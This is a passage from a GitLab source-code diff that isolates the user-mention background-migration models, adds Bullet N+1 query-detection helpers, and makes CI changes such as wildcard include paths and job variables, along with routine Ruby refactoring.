+ INTERNAL = 10 unless const_defined?(:INTERNAL)
+ PUBLIC = 20 unless const_defined?(:PUBLIC)
+
+ class << self
+ def levels_for_user(user = nil)
+ return [PUBLIC] unless user
+
+ if user.can_read_all_resources?
+ [PRIVATE, INTERNAL, PUBLIC]
+ elsif user.external?
+ [PUBLIC]
+ else
+ [INTERNAL, PUBLIC]
+ end
+ end
+ end
+
+ def private?
+ visibility_level_value == PRIVATE
+ end
+
+ def internal?
+ visibility_level_value == INTERNAL
+ end
+
+ def public?
+ visibility_level_value == PUBLIC
+ end
+
+ def visibility_level_value
+ self[visibility_level_field]
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb
index bdb4d6c7d48..f4cc96c8bc0 100644
--- a/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/commit_user_mention.rb
@@ -7,6 +7,7 @@ module Gitlab
module Models
class CommitUserMention < ActiveRecord::Base
self.table_name = 'commit_user_mentions'
+ self.inheritance_column = :_type_disabled
def self.resource_foreign_key
:commit_id
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb
new file mode 100644
index 00000000000..ba6b783f9f1
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Models
+ module Concerns
+ # isolated FeatureGate module
+ module IsolatedFeatureGate
+ def flipper_id
+ return if new_record?
+
+ "#{self.class.name}:#{id}"
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb
index be9c0ad2b3a..f684f789ea9 100644
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb
@@ -70,8 +70,8 @@ module Gitlab
def build_mention_values(resource_foreign_key)
refs = all_references(author)
- mentioned_users_ids = array_to_sql(refs.mentioned_users.pluck(:id))
- mentioned_projects_ids = array_to_sql(refs.mentioned_projects.pluck(:id))
+ mentioned_users_ids = array_to_sql(refs.isolated_mentioned_users.pluck(:id))
+ mentioned_projects_ids = array_to_sql(refs.isolated_mentioned_projects.pluck(:id))
mentioned_groups_ids = array_to_sql(refs.isolated_mentioned_groups.pluck(:id))
return if mentioned_users_ids.blank? && mentioned_projects_ids.blank? && mentioned_groups_ids.blank?
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb
index 5cadfa45b5b..75759ed0111 100644
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb
@@ -6,7 +6,7 @@ module Gitlab
module Models
module Concerns
module Namespace
- # extracted methods for recursive traversing of namespace hierarchy
+ # isolate recursive traversal code for namespace hierarchy
module RecursiveTraversal
extend ActiveSupport::Concern
diff --git a/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb b/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb
index bdb90b5d2b9..d010d68600d 100644
--- a/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb
@@ -10,6 +10,9 @@ module Gitlab
include EachBatch
include Concerns::MentionableMigrationMethods
+ self.table_name = 'design_management_designs'
+ self.inheritance_column = :_type_disabled
+
def self.user_mention_model
Gitlab::BackgroundMigration::UserMentions::Models::DesignUserMention
end
diff --git a/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb
index 68205ecd3c2..eb00f6cfa3f 100644
--- a/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb
@@ -7,6 +7,7 @@ module Gitlab
module Models
class DesignUserMention < ActiveRecord::Base
self.table_name = 'design_user_mentions'
+ self.inheritance_column = :_type_disabled
def self.resource_foreign_key
:design_id
diff --git a/lib/gitlab/background_migration/user_mentions/models/epic.rb b/lib/gitlab/background_migration/user_mentions/models/epic.rb
index 61d9244a4c9..cfd9a4faa9b 100644
--- a/lib/gitlab/background_migration/user_mentions/models/epic.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/epic.rb
@@ -17,10 +17,10 @@ module Gitlab
cache_markdown_field :description, issuable_state_filter_enabled: true
self.table_name = 'epics'
+ self.inheritance_column = :_type_disabled
- belongs_to :author, class_name: "User"
- belongs_to :project
- belongs_to :group
+ belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
+ belongs_to :group, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Group"
def self.user_mention_model
Gitlab::BackgroundMigration::UserMentions::Models::EpicUserMention
diff --git a/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb
index 4e3ce9bf3a7..579e4d99612 100644
--- a/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb
@@ -7,6 +7,7 @@ module Gitlab
module Models
class EpicUserMention < ActiveRecord::Base
self.table_name = 'epic_user_mentions'
+ self.inheritance_column = :_type_disabled
def self.resource_foreign_key
:epic_id
diff --git a/lib/gitlab/background_migration/user_mentions/models/group.rb b/lib/gitlab/background_migration/user_mentions/models/group.rb
index bc04172b9a2..a8b4b59b06c 100644
--- a/lib/gitlab/background_migration/user_mentions/models/group.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/group.rb
@@ -7,6 +7,8 @@ module Gitlab
# isolated Group model
class Group < ::Gitlab::BackgroundMigration::UserMentions::Models::Namespace
self.store_full_sti_class = false
+ self.inheritance_column = :_type_disabled
+
has_one :saml_provider
def self.declarative_policy_class
diff --git a/lib/gitlab/background_migration/user_mentions/models/merge_request.rb b/lib/gitlab/background_migration/user_mentions/models/merge_request.rb
index 6b52afea17c..13addcc3c55 100644
--- a/lib/gitlab/background_migration/user_mentions/models/merge_request.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/merge_request.rb
@@ -17,10 +17,11 @@ module Gitlab
cache_markdown_field :description, issuable_state_filter_enabled: true
self.table_name = 'merge_requests'
+ self.inheritance_column = :_type_disabled
- belongs_to :author, class_name: "User"
- belongs_to :target_project, class_name: "Project"
- belongs_to :source_project, class_name: "Project"
+ belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
+ belongs_to :target_project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
+ belongs_to :source_project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
alias_attribute :project, :target_project
diff --git a/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb
index e9b85e9cb8c..4a85892d7b8 100644
--- a/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb
@@ -7,6 +7,7 @@ module Gitlab
module Models
class MergeRequestUserMention < ActiveRecord::Base
self.table_name = 'merge_request_user_mentions'
+ self.inheritance_column = :_type_disabled
def self.resource_foreign_key
:merge_request_id
diff --git a/lib/gitlab/background_migration/user_mentions/models/namespace.rb b/lib/gitlab/background_migration/user_mentions/models/namespace.rb
index 8fa0db5fd4b..a2b50c41f4a 100644
--- a/lib/gitlab/background_migration/user_mentions/models/namespace.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/namespace.rb
@@ -5,9 +5,11 @@ module Gitlab
module UserMentions
module Models
# isolated Namespace model
- class Namespace < ApplicationRecord
- include FeatureGate
- include ::Gitlab::VisibilityLevel
+ class Namespace < ActiveRecord::Base
+ self.inheritance_column = :_type_disabled
+
+ include Concerns::IsolatedFeatureGate
+ include Gitlab::BackgroundMigration::UserMentions::Lib::Gitlab::IsolatedVisibilityLevel
include ::Gitlab::Utils::StrongMemoize
include Gitlab::BackgroundMigration::UserMentions::Models::Concerns::Namespace::RecursiveTraversal
@@ -21,8 +23,13 @@ module Gitlab
parent_id.present? || parent.present?
end
+ # Deprecated, use #licensed_feature_available? instead. Remove once Namespace#feature_available? isn't used anymore.
+ def feature_available?(feature)
+ licensed_feature_available?(feature)
+ end
+
# Overridden in EE::Namespace
- def feature_available?(_feature)
+ def licensed_feature_available?(_feature)
false
end
end
diff --git a/lib/gitlab/background_migration/user_mentions/models/note.rb b/lib/gitlab/background_migration/user_mentions/models/note.rb
index a3224c8c456..7da933c7b11 100644
--- a/lib/gitlab/background_migration/user_mentions/models/note.rb
+++ b/lib/gitlab/background_migration/user_mentions/models/note.rb
@@ -16,9 +16,9 @@ module Gitlab
attr_mentionable :note, pipeline: :note
cache_markdown_field :note, pipeline: :note, issuable_state_filter_enabled: true
- belongs_to :author, class_name: "User"
+ belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
belongs_to :noteable, polymorphic: true
- belongs_to :project
+ belongs_to :project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
def for_personal_snippet?
noteable && noteable.class.name == 'PersonalSnippet'
diff --git a/lib/gitlab/background_migration/user_mentions/models/project.rb b/lib/gitlab/background_migration/user_mentions/models/project.rb
new file mode 100644
index 00000000000..4e02bf97d12
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/models/project.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Models
+ # isolated Namespace model
+ class Project < ActiveRecord::Base
+ include Concerns::IsolatedFeatureGate
+ include Gitlab::BackgroundMigration::UserMentions::Lib::Gitlab::IsolatedVisibilityLevel
+
+ self.table_name = 'projects'
+ self.inheritance_column = :_type_disabled
+
+ belongs_to :group, -> { where(type: 'Group') }, foreign_key: 'namespace_id', class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Group"
+ belongs_to :namespace, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Namespace"
+ alias_method :parent, :namespace
+
+ # Returns a collection of projects that is either public or visible to the
+ # logged in user.
+ def self.public_or_visible_to_user(user = nil, min_access_level = nil)
+ min_access_level = nil if user&.can_read_all_resources?
+
+ return public_to_user unless user
+
+ if user.is_a?(::Gitlab::BackgroundMigration::UserMentions::Models::User)
+ where('EXISTS (?) OR projects.visibility_level IN (?)',
+ user.authorizations_for_projects(min_access_level: min_access_level),
+ levels_for_user(user))
+ end
+ end
+
+ def grafana_integration
+ nil
+ end
+
+ def default_issues_tracker?
+ true # we do not care of the issue tracker type(internal or external) when parsing mentions
+ end
+
+ def visibility_level_field
+ :visibility_level
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/user_mentions/models/user.rb b/lib/gitlab/background_migration/user_mentions/models/user.rb
new file mode 100644
index 00000000000..a30220b6934
--- /dev/null
+++ b/lib/gitlab/background_migration/user_mentions/models/user.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ module UserMentions
+ module Models
+ # isolated Namespace model
+ class User < ActiveRecord::Base
+ include Concerns::IsolatedFeatureGate
+
+ self.table_name = 'users'
+ self.inheritance_column = :_type_disabled
+
+ has_many :project_authorizations, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
+
+ def authorizations_for_projects(min_access_level: nil, related_project_column: 'projects.id')
+ authorizations = project_authorizations
+ .select(1)
+ .where("project_authorizations.project_id = #{related_project_column}")
+
+ return authorizations unless min_access_level.present?
+
+ authorizations.where('project_authorizations.access_level >= ?', min_access_level)
+ end
+
+ def can_read_all_resources?
+ can?(:read_all_resources)
+ end
+
+ def can?(action, subject = :global)
+ Ability.allowed?(self, action, subject)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer.rb b/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer.rb
index baacc912df3..665ad7abcbb 100644
--- a/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer.rb
+++ b/lib/gitlab/background_migration/wrongfully_confirmed_email_unconfirmer.rb
@@ -27,7 +27,7 @@ module Gitlab
joins(:user)
.merge(UserModel.active)
.where(id: (start_id..stop_id))
- .where('emails.confirmed_at IS NOT NULL')
+ .where.not('emails.confirmed_at' => nil)
.where('emails.confirmed_at = users.confirmed_at')
.where('emails.email <> users.email')
.where('NOT EXISTS (SELECT 1 FROM user_synced_attributes_metadata WHERE user_id=users.id AND email_synced IS true)')
@@ -57,7 +57,7 @@ module Gitlab
def update_email_records(start_id, stop_id)
EmailModel.connection.execute <<-SQL
- WITH md5_strings as (
+ WITH md5_strings as #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (
#{email_query_for_update(start_id, stop_id).to_sql}
)
UPDATE #{EmailModel.connection.quote_table_name(EmailModel.table_name)}
diff --git a/lib/gitlab/batch_pop_queueing.rb b/lib/gitlab/batch_pop_queueing.rb
index e18f1320ea4..62fc8cd048e 100644
--- a/lib/gitlab/batch_pop_queueing.rb
+++ b/lib/gitlab/batch_pop_queueing.rb
@@ -46,7 +46,8 @@ module Gitlab
def initialize(namespace, queue_id)
raise ArgumentError if namespace.empty? || queue_id.empty?
- @namespace, @queue_id = namespace, queue_id
+ @namespace = namespace
+ @queue_id = queue_id
end
##
diff --git a/lib/gitlab/bullet.rb b/lib/gitlab/bullet.rb
new file mode 100644
index 00000000000..f5f8a316855
--- /dev/null
+++ b/lib/gitlab/bullet.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Bullet
+ extend self
+
+ def enabled?
+ Gitlab::Utils.to_boolean(ENV['ENABLE_BULLET'], default: false)
+ end
+ alias_method :extra_logging_enabled?, :enabled?
+
+ def configure_bullet?
+ defined?(::Bullet) && (enabled? || Rails.env.development?)
+ end
+ end
+end
diff --git a/lib/gitlab/bullet/exclusions.rb b/lib/gitlab/bullet/exclusions.rb
new file mode 100644
index 00000000000..f897ff492d9
--- /dev/null
+++ b/lib/gitlab/bullet/exclusions.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Bullet
+ class Exclusions
+ def initialize(config_file = Gitlab.root.join('config/bullet.yml'))
+ @config_file = config_file
+ end
+
+ def execute
+ exclusions.map { |v| v['exclude'] }
+ end
+
+ def validate_paths!
+ exclusions.each do |properties|
+ next unless properties['path_with_method']
+
+ file = properties['exclude'].first
+
+ raise "Bullet: File used by #{config_file} doesn't exist, validate the #{file} exclusion!" unless File.exist?(file)
+ end
+ end
+
+ private
+
+ attr_reader :config_file
+
+ def exclusions
+ @exclusions ||= if File.exist?(config_file)
+ YAML.load_file(config_file)['exclusions']&.values || []
+ else
+ []
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/cache/ci/project_pipeline_status.rb b/lib/gitlab/cache/ci/project_pipeline_status.rb
index d981f263c5e..9e958eb52fb 100644
--- a/lib/gitlab/cache/ci/project_pipeline_status.rb
+++ b/lib/gitlab/cache/ci/project_pipeline_status.rb
@@ -69,7 +69,9 @@ module Gitlab
def load_from_project
return unless commit
- self.sha, self.status, self.ref = commit.sha, commit.status, project.default_branch
+ self.sha = commit.sha
+ self.status = commit.status
+ self.ref = project.default_branch
end
# We only cache the status for the HEAD commit of a project
diff --git a/lib/gitlab/changelog/config.rb b/lib/gitlab/changelog/config.rb
index 105050936ce..be8009750da 100644
--- a/lib/gitlab/changelog/config.rb
+++ b/lib/gitlab/changelog/config.rb
@@ -17,7 +17,24 @@ module Gitlab
# The default template to use for generating release sections.
DEFAULT_TEMPLATE = File.read(File.join(__dir__, 'template.tpl'))
- attr_accessor :date_format, :categories, :template
+ # The regex to use for extracting the version from a Git tag.
+ #
+ # This regex is based on the official semantic versioning regex (as found
+ # on https://semver.org/), with the addition of allowing a "v" at the
+ # start of a tag name.
+ #
+ # We default to a strict regex as we simply don't know what kind of data
+ # users put in their tags. As such, using simpler patterns (e.g. just
+ # `\d+` for the major version) could lead to unexpected results.
+ #
+ # We use a String here as `Gitlab::UntrustedRegexp` is a mutable object.
+ DEFAULT_TAG_REGEX = '^v?(?P<major>0|[1-9]\d*)' \
+ '\.(?P<minor>0|[1-9]\d*)' \
+ '\.(?P<patch>0|[1-9]\d*)' \
+ '(?:-(?P<pre>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))' \
+ '?(?:\+(?P<meta>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$'
+
+ attr_accessor :date_format, :categories, :template, :tag_regex
def self.from_git(project)
if (yaml = project.repository.changelog_config)
@@ -46,6 +63,10 @@ module Gitlab
end
end
+ if (regex = hash['tag_regex'])
+ config.tag_regex = regex
+ end
+
config
end
@@ -54,6 +75,7 @@ module Gitlab
@date_format = DEFAULT_DATE_FORMAT
@template = Parser.new.parse_and_transform(DEFAULT_TEMPLATE)
@categories = {}
+ @tag_regex = DEFAULT_TAG_REGEX
end
def contributor?(user)
diff --git a/lib/gitlab/chaos.rb b/lib/gitlab/chaos.rb
index 029a9210dc9..495f12882e5 100644
--- a/lib/gitlab/chaos.rb
+++ b/lib/gitlab/chaos.rb
@@ -43,9 +43,9 @@ module Gitlab
Kernel.sleep(duration_s)
end
- # Kill will send a SIGKILL signal to the current process
- def self.kill
- Process.kill("KILL", Process.pid)
+ # Kill will send the given signal to the current process.
+ def self.kill(signal)
+ Process.kill(signal, Process.pid)
end
def self.run_gc
diff --git a/lib/gitlab/ci/build/artifacts/metadata.rb b/lib/gitlab/ci/build/artifacts/metadata.rb
index c5afb16ab1a..88d624503df 100644
--- a/lib/gitlab/ci/build/artifacts/metadata.rb
+++ b/lib/gitlab/ci/build/artifacts/metadata.rb
@@ -17,7 +17,9 @@ module Gitlab
attr_reader :stream, :path, :full_version
def initialize(stream, path, **opts)
- @stream, @path, @opts = stream, path, opts
+ @stream = stream
+ @path = path
+ @opts = opts
@full_version = read_version
end
diff --git a/lib/gitlab/ci/config.rb b/lib/gitlab/ci/config.rb
index d3f030c3b36..23b0c93a3ee 100644
--- a/lib/gitlab/ci/config.rb
+++ b/lib/gitlab/ci/config.rb
@@ -17,12 +17,14 @@ module Gitlab
Config::Yaml::Tags::TagError
].freeze
- attr_reader :root
+ attr_reader :root, :context, :ref
- def initialize(config, project: nil, sha: nil, user: nil, parent_pipeline: nil)
+ def initialize(config, project: nil, sha: nil, user: nil, parent_pipeline: nil, ref: nil)
@context = build_context(project: project, sha: sha, user: user, parent_pipeline: parent_pipeline)
@context.set_deadline(TIMEOUT_SECONDS)
+ @ref = ref
+
@config = expand_config(config)
@root = Entry::Root.new(@config)
@@ -94,9 +96,7 @@ module Gitlab
initial_config = Config::External::Processor.new(initial_config, @context).perform
initial_config = Config::Extendable.new(initial_config).to_hash
initial_config = Config::Yaml::Tags::Resolver.new(initial_config).to_hash
- initial_config = Config::EdgeStagesInjector.new(initial_config).to_hash
-
- initial_config
+ Config::EdgeStagesInjector.new(initial_config).to_hash
end
def find_sha(project)
diff --git a/lib/gitlab/ci/config/entry/cache.rb b/lib/gitlab/ci/config/entry/cache.rb
index cf599ce5294..f9688c500d2 100644
--- a/lib/gitlab/ci/config/entry/cache.rb
+++ b/lib/gitlab/ci/config/entry/cache.rb
@@ -8,8 +8,8 @@ module Gitlab
# Entry that represents a cache configuration
#
class Cache < ::Gitlab::Config::Entry::Simplifiable
- strategy :Caches, if: -> (config) { Feature.enabled?(:multiple_cache_per_job) }
- strategy :Cache, if: -> (config) { Feature.disabled?(:multiple_cache_per_job) }
+ strategy :Caches, if: -> (config) { Feature.enabled?(:multiple_cache_per_job, default_enabled: :yaml) }
+ strategy :Cache, if: -> (config) { Feature.disabled?(:multiple_cache_per_job, default_enabled: :yaml) }
class Caches < ::Gitlab::Config::Entry::ComposableArray
include ::Gitlab::Config::Entry::Validatable
@@ -17,8 +17,6 @@ module Gitlab
MULTIPLE_CACHE_LIMIT = 4
validations do
- validates :config, presence: true
-
validate do
unless config.is_a?(Hash) || config.is_a?(Array)
errors.add(:config, 'can only be a Hash or an Array')
diff --git a/lib/gitlab/ci/config/entry/processable.rb b/lib/gitlab/ci/config/entry/processable.rb
index 9584d19bdec..947b6787aa0 100644
--- a/lib/gitlab/ci/config/entry/processable.rb
+++ b/lib/gitlab/ci/config/entry/processable.rb
@@ -124,7 +124,9 @@ module Gitlab
stage: stage_value,
extends: extends,
rules: rules_value,
- variables: root_and_job_variables_value,
+ variables: root_and_job_variables_value, # https://gitlab.com/gitlab-org/gitlab/-/issues/300581
+ job_variables: job_variables,
+ root_variables_inheritance: root_variables_inheritance,
only: only_value,
except: except_value,
resource_group: resource_group }.compact
@@ -139,6 +141,14 @@ module Gitlab
root_variables.merge(variables_value.to_h)
end
+ def job_variables
+ variables_value.to_h
+ end
+
+ def root_variables_inheritance
+ inherit_entry&.variables_entry&.value
+ end
+
def manual_action?
self.when == 'manual'
end
diff --git a/lib/gitlab/ci/config/entry/product/variables.rb b/lib/gitlab/ci/config/entry/product/variables.rb
index aa34cfb3acc..e869e0bbb31 100644
--- a/lib/gitlab/ci/config/entry/product/variables.rb
+++ b/lib/gitlab/ci/config/entry/product/variables.rb
@@ -25,8 +25,7 @@ module Gitlab
def value
@config
- .map { |key, value| [key.to_s, Array(value).map(&:to_s)] }
- .to_h
+ .to_h { |key, value| [key.to_s, Array(value).map(&:to_s)] }
end
end
end
diff --git a/lib/gitlab/ci/config/entry/variables.rb b/lib/gitlab/ci/config/entry/variables.rb
index dc164d752be..efb469ee32a 100644
--- a/lib/gitlab/ci/config/entry/variables.rb
+++ b/lib/gitlab/ci/config/entry/variables.rb
@@ -18,7 +18,7 @@ module Gitlab
end
def value
- Hash[@config.map { |key, value| [key.to_s, expand_value(value)[:value]] }]
+ @config.to_h { |key, value| [key.to_s, expand_value(value)[:value]] }
end
def self.default(**)
@@ -26,7 +26,7 @@ module Gitlab
end
def value_with_data
- Hash[@config.map { |key, value| [key.to_s, expand_value(value)] }]
+ @config.to_h { |key, value| [key.to_s, expand_value(value)] }
end
def use_value_data?
diff --git a/lib/gitlab/ci/config/external/mapper.rb b/lib/gitlab/ci/config/external/mapper.rb
index b85b7a9edeb..3216d4eaac4 100644
--- a/lib/gitlab/ci/config/external/mapper.rb
+++ b/lib/gitlab/ci/config/external/mapper.rb
@@ -34,6 +34,7 @@ module Gitlab
.compact
.map(&method(:normalize_location))
.flat_map(&method(:expand_project_files))
+ .flat_map(&method(:expand_wildcard_paths))
.map(&method(:expand_variables))
.each(&method(:verify_duplicates!))
.map(&method(:select_first_matching))
@@ -63,6 +64,17 @@ module Gitlab
end
end
+ def expand_wildcard_paths(location)
+ return location unless ::Feature.enabled?(:ci_wildcard_file_paths, context.project, default_enabled: :yaml)
+
+ # We only support local files for wildcard paths
+ return location unless location[:local] && location[:local].include?('*')
+
+ context.project.repository.search_files_by_wildcard_path(location[:local], context.sha).map do |path|
+ { local: path }
+ end
+ end
+
def normalize_location_string(location)
if ::Gitlab::UrlSanitizer.valid?(location)
{ remote: location }
diff --git a/lib/gitlab/ci/config/normalizer/matrix_strategy.rb b/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
index 5a23836d8a0..5cabbc86d3e 100644
--- a/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
+++ b/lib/gitlab/ci/config/normalizer/matrix_strategy.rb
@@ -43,9 +43,10 @@ module Gitlab
{
name: name,
instance: instance,
- variables: variables,
+ variables: variables, # https://gitlab.com/gitlab-org/gitlab/-/issues/300581
+ job_variables: variables,
parallel: { total: total }
- }
+ }.compact
end
def name
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
index c811ef211d6..12e182b38fc 100644
--- a/lib/gitlab/ci/features.rb
+++ b/lib/gitlab/ci/features.rb
@@ -10,10 +10,6 @@ module Gitlab
::Feature.enabled?(:ci_artifacts_exclude, default_enabled: true)
end
- def self.instance_variables_ui_enabled?
- ::Feature.enabled?(:ci_instance_variables_ui, default_enabled: true)
- end
-
def self.pipeline_latest?
::Feature.enabled?(:ci_pipeline_latest, default_enabled: true)
end
@@ -60,16 +56,12 @@ module Gitlab
::Feature.enabled?(:codequality_mr_diff, project, default_enabled: false)
end
- def self.display_codequality_backend_comparison?(project)
- ::Feature.enabled?(:codequality_backend_comparison, project, default_enabled: :yaml)
- end
-
def self.multiple_cache_per_job?
::Feature.enabled?(:multiple_cache_per_job, default_enabled: :yaml)
end
- def self.ci_commit_pipeline_mini_graph_vue_enabled?(project)
- ::Feature.enabled?(:ci_commit_pipeline_mini_graph_vue, project, default_enabled: :yaml)
+ def self.gldropdown_tags_enabled?
+ ::Feature.enabled?(:gldropdown_tags, default_enabled: :yaml)
end
end
end
diff --git a/lib/gitlab/ci/jwt.rb b/lib/gitlab/ci/jwt.rb
index af06e124736..a6ae249fa58 100644
--- a/lib/gitlab/ci/jwt.rb
+++ b/lib/gitlab/ci/jwt.rb
@@ -72,16 +72,16 @@ module Gitlab
def key
@key ||= begin
- key_data = if Feature.enabled?(:ci_jwt_signing_key, build.project, default_enabled: true)
- Gitlab::CurrentSettings.ci_jwt_signing_key
- else
- Rails.application.secrets.openid_connect_signing_key
- end
+ key_data = if Feature.enabled?(:ci_jwt_signing_key, build.project, default_enabled: true)
+ Gitlab::CurrentSettings.ci_jwt_signing_key
+ else
+ Rails.application.secrets.openid_connect_signing_key
+ end
- raise NoSigningKeyError unless key_data
+ raise NoSigningKeyError unless key_data
- OpenSSL::PKey::RSA.new(key_data)
- end
+ OpenSSL::PKey::RSA.new(key_data)
+ end
end
def public_key
diff --git a/lib/gitlab/ci/pipeline/chain/command.rb b/lib/gitlab/ci/pipeline/chain/command.rb
index 815fe6bac6d..c3c1728602c 100644
--- a/lib/gitlab/ci/pipeline/chain/command.rb
+++ b/lib/gitlab/ci/pipeline/chain/command.rb
@@ -12,7 +12,7 @@ module Gitlab
:seeds_block, :variables_attributes, :push_options,
:chat_data, :allow_mirror_update, :bridge, :content, :dry_run,
# These attributes are set by Chains during processing:
- :config_content, :yaml_processor_result, :pipeline_seed
+ :config_content, :yaml_processor_result, :workflow_rules_result, :pipeline_seed
) do
include Gitlab::Utils::StrongMemoize
@@ -84,7 +84,7 @@ module Gitlab
end
def metrics
- @metrics ||= ::Gitlab::Ci::Pipeline::Metrics.new
+ @metrics ||= ::Gitlab::Ci::Pipeline::Metrics
end
def observe_creation_duration(duration)
@@ -97,6 +97,11 @@ module Gitlab
.observe({ source: pipeline.source.to_s }, pipeline.total_size)
end
+ def increment_pipeline_failure_reason_counter(reason)
+ metrics.pipeline_failure_reason_counter
+ .increment(reason: (reason || :unknown_failure).to_s)
+ end
+
def dangling_build?
%i[ondemand_dast_scan webide].include?(source)
end
diff --git a/lib/gitlab/ci/pipeline/chain/config/process.rb b/lib/gitlab/ci/pipeline/chain/config/process.rb
index c3fbd0c9e24..8f1c49563f2 100644
--- a/lib/gitlab/ci/pipeline/chain/config/process.rb
+++ b/lib/gitlab/ci/pipeline/chain/config/process.rb
@@ -14,6 +14,7 @@ module Gitlab
result = ::Gitlab::Ci::YamlProcessor.new(
@command.config_content, {
project: project,
+ ref: @pipeline.ref,
sha: @pipeline.sha,
user: current_user,
parent_pipeline: parent_pipeline
diff --git a/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb b/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
index 3c910963a2a..cceaa52de16 100644
--- a/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
+++ b/lib/gitlab/ci/pipeline/chain/evaluate_workflow_rules.rb
@@ -9,6 +9,8 @@ module Gitlab
include Chain::Helpers
def perform!
+ @command.workflow_rules_result = workflow_rules_result
+
error('Pipeline filtered out by workflow rules.') unless workflow_passed?
end
@@ -19,27 +21,33 @@ module Gitlab
private
def workflow_passed?
- strong_memoize(:workflow_passed) do
- workflow_rules.evaluate(@pipeline, global_context).pass?
+ workflow_rules_result.pass?
+ end
+
+ def workflow_rules_result
+ strong_memoize(:workflow_rules_result) do
+ workflow_rules.evaluate(@pipeline, global_context)
end
end
def workflow_rules
Gitlab::Ci::Build::Rules.new(
- workflow_config[:rules], default_when: 'always')
+ workflow_rules_config, default_when: 'always')
end
def global_context
Gitlab::Ci::Build::Context::Global.new(
- @pipeline, yaml_variables: workflow_config[:yaml_variables])
+ @pipeline, yaml_variables: @command.yaml_processor_result.root_variables)
end
def has_workflow_rules?
- workflow_config[:rules].present?
+ workflow_rules_config.present?
end
- def workflow_config
- @command.yaml_processor_result.workflow_attributes || {}
+ def workflow_rules_config
+ strong_memoize(:workflow_rules_config) do
+ @command.yaml_processor_result.workflow_rules
+ end
end
end
end
diff --git a/lib/gitlab/ci/pipeline/chain/helpers.rb b/lib/gitlab/ci/pipeline/chain/helpers.rb
index d7271df1694..22a7dbe61aa 100644
--- a/lib/gitlab/ci/pipeline/chain/helpers.rb
+++ b/lib/gitlab/ci/pipeline/chain/helpers.rb
